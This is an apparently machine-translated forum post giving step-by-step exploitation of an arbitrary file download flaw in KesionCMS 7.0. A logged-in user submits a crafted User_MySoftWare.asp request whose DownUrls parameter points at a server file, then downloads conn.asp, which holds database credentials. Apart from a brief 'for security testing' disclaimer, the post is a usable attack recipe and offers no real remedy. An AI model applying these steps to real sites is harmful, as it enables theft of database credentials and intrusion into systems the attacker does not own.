Arbitrary Download Vulnerability in the latest kesioncms7.0 version

Version: 90sec
Note: Please use it for vulnerability Security Testing. Do not use it illegally.
Solution: I think the official website will understand
 
Vulnerability Detection Method:
First register a user login, then visit the http://www.xxx.net/user/Contributor.asp can see a few can contribute classification, select a software contribution. Click Next!
 
 
 
Then, it will jump to: www.2cto.com/user/User_MySoftWare.asp? Action = Add & channelid = 3 & ClassID = 20102479005271 (different sites may have different ClassID)
 
Enter the address www.2cto.com/user/User_MySoftWare.asp? Action = AddSave & channelid = 3 & ClassID = 20102479005271 (above ClassID) & Title = aa & DownUrls =/admin63.net. asp (path of the file to be downloaded .)
 
After entering this information, a software article titled aa will be published, which can be submitted at www.2cto.com/user/User_ItemInfo.asp? ChannelID = 3 See the published contribution.
 
Open the published aa contribution and click Download next to the download section to download it to conn. asp file. The general database address or mssql data account security code will be recorded in it!
 
 
Because it is too late, I just want to talk about it. The exploitation is like what I said just now. The vulnerability has been released for more than half a year. If you are interested, you can study it.